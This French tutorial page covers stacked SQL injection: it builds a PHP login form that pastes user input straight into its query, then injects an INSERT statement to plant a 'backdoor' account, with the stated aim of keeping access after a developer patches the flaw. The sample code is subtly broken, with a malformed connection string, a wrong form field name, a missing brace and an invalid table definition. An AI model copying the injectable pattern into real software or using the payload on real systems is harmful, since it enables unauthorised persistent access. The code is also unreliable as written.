Stack Based

Dans une précédente page nous avons vu qu’il est possible de bypass un formulaire assez aisément. Mais on peut faire encore pire ! Imaginez la situation suivante, vous avez réussi à bypass le formulaire d’authentification mais vous avez peur que le développeur patch cette faille rapidement et vous voulez garder votre accès à l'application.

Comment faire ? Idéalement on aimerait bien déposer une backdoor sur le serveur mais là ce n’est pas possible. Par contre on sait qu’il y a une faille SQLi donc on pourrait peut être ajouter du code SQL pour créer un nouvel utilisateur ?

Créons une nouvelle base de données dans laquelle nous aurons une seul table « user » et dans laquelle on aura un champ iduser, username, et password :

create table user
(
	iduser int not null unique auto_increment primary key,
    username varchar(20) not null,
    password varchar(20) not null,
)
ENGINE=INNODB;

Dans cette base de données on va ajouter un seul utilisateur : l’admin :

INSERT INTO user (username, password) values ("admin", "admin");

Maintenant créons un petit formulaire et un fichier de traitement php sur notre serveur apache :

Le formulaire :

<!DOCTYPE html>
<html>
  <body>
    <form action="traitement.php" method="post">
      <label>Entrez votre identifiant</label>
      <input type="text" name="username"/>
      <br>
      <label>Entrez votre mot de passe</label>
      <input type="text" name="password"/>
      <br>
      <input type="submit"/>
    </form>
  </body>
</html>

Le fichier de traitement.php :

<?php
try {
  $bdd = new PDO('mysql:host=localhost;dbname=sqli2", "root", ""', array(PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING));
}
catch (Exception $e){
  die("Error : ".$e->getMessage()); 
}

$req = $bdd->query("SELECT * FROM user WHERE username = ".$_POST["username"]." AND password = ".$_POST["message"].";");

while ($results = $req->fetch()){
  $username = $results["username"];

if(isset($username)){
  echo "Bienvenu : ".$username;
}
else{
  echo "Authentication failed";
}

Bueno ! Donc si on entre les identifiants admin/admin :

sqlstackbased1.png

On va être identifié en tant qu’admin :

sqlstackbased3.png

Ici on ne va pas s’amuser à bypass le formulaire mais on va créer un nouvel utilisateur dans la base. Comment ? Reprenons la requête SQL de base :

SELECT * FROM user WHERE username='$_POST["username"]' AND password='$_POST["password"]';

Si on entre admin/admin la requête sera transformée en :

SELECT * FROM user WHERE username='admin' AND password='admin';

Si on entre admin’ ; -- comme username alors la requête ressemblera à ça :

SELECT * FROM user WHERE username='admin';

L’intérêt de l’injection Stack Based c’est qu’on va pouvoir écrire une nouvelle requête SQL par dessus la première. Donc on peut ajouter ce qu’on veut… Un INSERT par exemple. 

Du coup si pour le username on entre :

 admin' ; INSERT INTO user (username, password) VALUES ("backdoor","backdoor") ;

eh bien visuellement on verra ceci :

bienvenue

Mais derrière dans la base de données on aura ceci :

sqlstackbased4.png

Oops… Maintenant on peut se connecter avec notre compte backdoor/backdoor :

sqlstackbased5.png

GG WP !